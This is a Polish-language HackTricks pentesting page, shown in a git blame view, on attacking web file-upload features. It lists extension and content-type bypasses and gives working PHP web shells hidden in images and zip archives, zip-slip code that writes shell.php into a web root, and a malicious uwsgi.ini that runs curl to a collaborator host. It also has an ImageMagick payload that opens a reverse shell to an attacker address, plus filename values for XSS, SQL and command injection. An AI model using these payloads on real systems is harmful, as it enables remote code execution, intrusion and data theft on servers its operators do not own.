hacktricks/pentesting-web/file-upload/README.md

347 lines
27 KiB
Markdown
Raw Normal View History

# Wysyłanie plików
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-30 20:31:18 +00:00
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-30 20:31:18 +00:00
## Ogólna Metodologia Wysyłania Plików
2020-10-15 13:16:06 +00:00
2024-02-11 01:46:25 +00:00
Inne przydatne rozszerzenia:
2021-01-28 13:23:35 +00:00
2022-10-16 23:16:14 +00:00
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
2024-02-11 01:46:25 +00:00
* **Praca w PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
2021-02-11 00:14:31 +00:00
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
2021-01-28 13:23:35 +00:00
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
2021-02-11 00:14:31 +00:00
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Serwer WWW Erlang Yaws**: _.yaws_
2024-02-11 01:46:25 +00:00
### Ominiecie sprawdzania rozszerzeń plików
2024-02-11 01:46:25 +00:00
1. Jeśli stosują się, **sprawdź** **poprzednie rozszerzenia**. Sprawdź je również używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
2. _Sprawdź **dodanie poprawnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
2024-02-11 01:46:25 +00:00
* _file.png.php_
* _file.png.Php5_
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **przeprowadzenia ataku brutalnej siły** na wszystkie znaki **ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
2024-02-11 01:46:25 +00:00
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. Spróbuj ominąć zabezpieczenia **oszukując analizator rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub dodawanie **śmieciowych** danych (bajty **null**) między rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** do przygotowania lepszego ładunku._
2024-02-11 01:46:25 +00:00
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej kontroli:
2024-02-11 01:46:25 +00:00
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Spróbuj umieścić **rozszerzenie wykonawcze przed poprawnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracji Apache, gdzie cokolwiek z rozszerzeniem **.php**, ale niekoniecznie kończące się na .php\*\* będzie wykonywać kod):
2024-02-11 01:46:25 +00:00
* _np. file.php.png_
7. Używanie **alternatywnego strumienia danych NTFS (ADS)** w **Windows**. W tym przypadku po niedozwolonym rozszerzeniu i przed dozwolonym zostanie wstawiony znak dwukropka ":". W rezultacie na serwerze zostanie utworzony **pusty plik z niedozwolonym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany za pomocą innych technik, takich jak korzystanie z jego krótkiej nazwy pliku. Wzorzec „**::$data**” może również być używany do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. „file.asp::$data.”)
8. Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje odcięte, a złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php
2024-02-11 01:46:25 +00:00
```
# Maksymalnie 255 bajtów w systemie Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # odejmij 4 i dodaj .png
# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Załóżmy 236
2024-02-11 01:46:25 +00:00
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Utwórz ładunek
2024-02-11 01:46:25 +00:00
AAA<--SNIP 232 A-->AAA.php.png
```
### Ominięcie sprawdzania typu zawartości, numeru magicznego, kompresji i zmiany rozmiaru
* Ominięcie sprawdzania **typu zawartości** poprzez ustawienie **wartości** nagłówka **Content-Type** na: _image/png_, _text/plain_, _application/octet-stream_
1. **Słownik typów zawartości**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Ominięcie sprawdzania **numeru magicznego** poprzez dodanie na początku pliku **bajtów rzeczywistego obrazu** (myli polecenie _file_). Lub wprowadzenie powłoki w **metadanych**:\
`exiftool -Comment="<?php echo 'Polecenie:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` lub można również **wprost wprowadzić ładunek** w obrazie:\
2024-02-11 01:46:25 +00:00
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład za pomocą standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki nie będą przydatne. Możesz jednak użyć **kawałka PLTE** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
2024-02-11 01:46:25 +00:00
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Strona internetowa może również **zmieniać rozmiar obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **kawałka IDAT** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
2024-02-11 01:46:25 +00:00
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Inna technika umożliwiająca utworzenie ładunku, który **przetrwa zmianę rozmiaru obrazu**, to użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **kawałka tEXt** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
2024-02-11 01:46:25 +00:00
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Inne sztuczki do sprawdzenia
* Znajdź podatność umożliwiającą **zmianę nazwy** już przesłanego pliku (zmianę rozszerzenia).
* Znajdź podatność na **Lokalne Włączenie Pliku** do wykonania backdoor.
2024-02-11 01:46:25 +00:00
* **Możliwe ujawnienie informacji**:
1. Prześlij **kilka razy** (i **jednocześnie**) ten **sam plik** o **tej samej nazwie**
2. Prześlij plik o **nazwie** pliku lub folderu, który **już istnieje**
3. Prześlij plik o nazwie **“.”, “..”, lub “…”**. Na przykład w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, plik o nazwie “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
4. Prześlij plik, który nie może być łatwo usunięty, taki jak **“…:.jpg”** w **NTFS**. (Windows)
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w nazwie. (Windows)
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zakazanych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 i LPT9.
* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** po przypadkowym otwarciu przez ofiarę.
2024-02-11 01:46:25 +00:00
### Specjalne sztuczki z rozszerzeniami
Jeśli próbujesz przesłać pliki do serwera **PHP**, [sprawdź sztuczkę z plikiem **.htaccess** do wykonania kodu](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Jeśli próbujesz przesłać pliki do serwera **ASP**, [sprawdź sztuczkę z plikiem **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
2024-02-11 01:46:25 +00:00
Pliki `.phar` są jak pliki `.jar` dla Javy, ale dla PHP, i mogą być **używane jak plik php** (wykonując go za pomocą php lub dołączając go do skryptu...)
2024-02-11 01:46:25 +00:00
Rozszerzenie `.inc` jest czasami używane dla plików php, które służą tylko do **importowania plików**, więc w pewnym momencie ktoś mógł pozwolić na **wykonanie tego rozszerzenia**.
2020-10-15 13:16:06 +00:00
2022-08-04 20:47:35 +00:00
## **Jetty RCE**
Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać [RCE, ponieważ **nowe pliki \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak wspomniano na poniższym obrazku, przesłaj plik XML do `$JETTY_BASE/webapps/` i czekaj na powłokę!
2022-08-04 20:47:35 +00:00
2024-02-05 20:00:40 +00:00
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
2022-08-04 20:47:35 +00:00
2023-03-02 09:08:19 +00:00
## **uWSGI RCE**
Dla szczegółowego zbadania tej podatności sprawdź oryginalne badania: [Eksploatacja uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
2023-03-02 09:08:19 +00:00
Podatności na zdalne wykonanie kodu (RCE) mogą być wykorzystane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują określoną składnię do uwzględniania "magicznych" zmiennych, zastępców i operatorów. Warto zauważyć, że operator '@', używany jako `@(nazwa_pliku)`, służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, umożliwiając odczytywanie danych z wyjścia standardowego procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonanie kodu lub zapis/odczyt plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
2024-02-05 20:00:40 +00:00
Rozważ poniższy przykład szkodliwego pliku `uwsgi.ini`, prezentującego różne schematy:
2023-03-02 09:08:19 +00:00
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
2023-03-05 10:15:19 +00:00
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
2023-03-02 09:08:19 +00:00
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub w wyniku ataku typu Denial of Service) lub plik musi być ustawiony do automatycznego przeładowania. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
2023-03-02 09:08:19 +00:00
Niezwykle istotne jest zrozumienie luźnego charakteru analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji.
2023-03-02 09:08:19 +00:00
## **Sztuczka z przesyłaniem plików/SSRF za pomocą wget**
2020-10-15 13:16:06 +00:00
W niektórych sytuacjach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **określić** **URL**. W tych przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby zapewnić, że pobierane są tylko dozwolone pliki. Jednakże, **ta weryfikacja może zostać ominięta.**\
**Maksymalna** długość **nazwy pliku** w systemie **Linux** to **255**, jednakże **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **weryfikację** (jak w tym przykładzie **".gif"** to **poprawne** rozszerzenie), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
2020-10-15 13:16:06 +00:00
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
2024-02-11 01:46:25 +00:00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-10-15 13:16:06 +00:00
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Zauważ, że **inną opcją**, o której możesz myśleć, aby ominąć tę kontrolę, jest sprawienie, że **serwer HTTP przekieruje do innego pliku**, więc początkowy URL ominie kontrolę, a następnie wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała**, **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL-u**.
2024-02-11 01:46:25 +00:00
## Narzędzia
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) to potężne narzędzie zaprojektowane do pomocy Pentesterom i Łowcom Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki nagród za błędy, aby uproszczać proces identyfikacji i wykorzystywania podatności, zapewniając dokładne oceny aplikacji internetowych.
2024-02-11 01:46:25 +00:00
## Od przesyłania plików do innych podatności
2020-10-15 13:16:06 +00:00
* Ustaw **nazwę pliku** na `../../../tmp/lol.png` i spróbuj osiągnąć **trawersowanie ścieżki**
2024-02-11 01:46:25 +00:00
* Ustaw **nazwę pliku** na `sleep(10)-- -.jpg` i być może uda ci się osiągnąć **wstrzyknięcie SQL**
* Ustaw **nazwę pliku** na `<svg onload=alert(document.domain)>` aby osiągnąć XSS
* Ustaw **nazwę pliku** na `; sleep 10;` aby przetestować wstrzyknięcie poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md))
2024-02-11 01:46:25 +00:00
* [**XSS** w przesyłanym pliku obrazu (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Przesyłanie pliku **JS** + **XSS** = [Eksploatacja **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE w przesyłanym svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
2024-02-11 01:46:25 +00:00
* [**Przekierowanie otwarte** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Wypróbuj **różne ładunki svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Znana podatność **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Jeśli możesz **wskazać serwer internetowy, aby przechwycił obraz z adresu URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać adres URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
* [**XXE i omijanie CORS** poprzez przesyłanie pliku PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* Specjalnie przygotowane pliki PDF do XSS: [Następna strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesłać pliki PDF, możesz przygotować PDF, który będzie wykonywał dowolny JS, postępując zgodnie z podanymi wskazówkami.
* Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) aby sprawdzić, czy serwer ma **antywirusa**
* Sprawdź, czy istnieje jakieś **ograniczenie rozmiaru** przesyłanych plików
2020-10-15 13:16:06 +00:00
Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
2020-10-15 13:16:06 +00:00
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
2024-02-11 01:46:25 +00:00
4. **CSV**: Wstrzyknięcie CSV
2020-10-15 13:16:06 +00:00
5. **XML**: XXE
6. **AVI**: LFI / SSRF
2024-02-11 01:46:25 +00:00
7. **HTML / JS** : Wstrzyknięcie HTML / XSS / Przekierowanie otwarte
8. **PNG / JPEG**: Atak zalewania pikseli (DoS)
9. **ZIP**: RCE poprzez LFI / DoS
2024-02-11 01:46:25 +00:00
10. **PDF / PPTX**: SSRF / Ślepa XXE
2020-10-15 13:16:06 +00:00
2024-02-11 01:46:25 +00:00
#### Rozszerzenie Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
2024-02-11 01:46:25 +00:00
## Magiczne bajty nagłówka
2021-04-17 15:03:24 +00:00
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
Odniesienie do [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) dla innych typów plików.
### Automatyczne dekompresowanie plików Zip/Tar podczas przesyłania
2020-10-15 13:16:06 +00:00
2024-02-11 01:46:25 +00:00
Jeśli możesz przesłać plik ZIP, który zostanie zdekompresowany na serwerze, możesz zrobić 2 rzeczy:
2020-10-15 13:16:06 +00:00
2022-05-01 13:25:53 +00:00
#### Symlink
2020-10-15 13:16:06 +00:00
2024-02-11 01:46:25 +00:00
Prześlij link zawierający miękkie linki do innych plików, a następnie, uzyskując dostęp do zdekompresowanych plików, uzyskasz dostęp do połączonych plików:
```
2020-10-15 13:16:06 +00:00
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
2021-12-05 18:16:27 +00:00
tar -cvf test.tar symindex.txt
2020-10-15 13:16:06 +00:00
```
2024-02-11 01:46:25 +00:00
### Dekompresuj w różnych folderach
2020-10-15 13:16:06 +00:00
Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi istotny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości nawigacji po katalogach formatu archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym ominąć ograniczenia i uciec z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
2020-10-15 13:16:06 +00:00
2024-02-11 01:46:25 +00:00
Automatyczny exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
2020-10-15 13:16:06 +00:00
```python
2024-02-05 20:00:40 +00:00
# Listing available options
2021-12-05 18:16:27 +00:00
python2 evilarc.py -h
2024-02-05 20:00:40 +00:00
# Creating a malicious archive
2021-12-05 18:16:27 +00:00
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
2020-10-15 13:16:06 +00:00
```
Dodatkowo, **szalony trik z symlinkiem z evilarc** jest opcją. Jeśli celem jest docelowy plik tak jak `/flag.txt`, należy utworzyć symlink do tego pliku w systemie. Zapewnia to, że evilarc nie napotyka błędów podczas swojej operacji.
2020-10-15 13:16:06 +00:00
Poniżej znajduje się przykład kodu w języku Python używanego do utworzenia złośliwego pliku zip:
2020-10-15 13:16:06 +00:00
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
2020-10-15 13:16:06 +00:00
def create_zip():
2024-02-11 01:46:25 +00:00
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
2020-10-15 13:16:06 +00:00
```
**Wykorzystywanie kompresji do rozprzestrzeniania plików**
2020-10-15 13:16:06 +00:00
Aby uzyskać dalsze szczegóły, **sprawdź oryginalny post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
2020-10-15 13:16:06 +00:00
1. **Tworzenie powłoki PHP**: Kod PHP jest napisany w celu wykonywania poleceń przekazywanych przez zmienną `$_REQUEST`.
2020-10-15 13:16:06 +00:00
2024-02-11 01:46:25 +00:00
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2020-10-15 13:16:06 +00:00
2. **Rozprzestrzenianie plików i tworzenie skompresowanego pliku**: Tworzone są multiple pliki, a następnie tworzony jest archiwum zip zawierające te pliki.
2024-02-11 01:46:25 +00:00
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
2020-10-15 13:16:06 +00:00
3. **Modyfikacja za pomocą edytora heksadecymalnego lub vi**: Nazwy plików wewnątrz archiwum zip są zmieniane za pomocą vi lub edytora heksadecymalnego, zmieniając "xxA" na "../" w celu przemieszczania się po katalogach.
2024-02-11 01:46:25 +00:00
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
```
2020-10-15 13:16:06 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Osadzanie powłoki PHP w pliku PNG
2020-10-15 13:16:06 +00:00
Osadzenie powłoki PHP w segmencie IDAT pliku PNG może skutecznie ominąć pewne operacje przetwarzania obrazu. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostania niezmienionej podczas tych operacji stanowi znaczącą zaletę w pewnych przypadkach użycia.
2024-02-05 20:00:40 +00:00
Szczegółowe omówienie tej techniki, wraz z jej metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Kodowanie powłok internetowych w segmentach IDAT pliku PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
2020-10-15 13:16:06 +00:00
2024-02-11 01:46:25 +00:00
Więcej informacji pod adresem: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
2020-10-15 13:16:06 +00:00
2024-02-11 01:46:25 +00:00
## Pliki poliglotyczne
2020-10-15 13:16:06 +00:00
Pliki poliglotyczne stanowią unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleon, który może istnieć jednocześnie w wielu formatach plików. Zainteresującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która funkcjonuje zarówno jako plik GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
2020-10-15 13:16:06 +00:00
Główna użyteczność plików poliglotycznych polega na ich zdolności do omijania środków bezpieczeństwa, które przesiewają pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania - takie jak JPEG, GIF lub DOC - w celu zmniejszenia ryzyka związanego z potencjalnie szkodliwymi formatami (np. JS, PHP lub plikami Phar). Jednak plik poliglotyczny, poprzez dostosowanie się do kryteriów strukturalnych wielu typów plików, może skutecznie ominąć te ograniczenia.
2020-10-15 13:16:06 +00:00
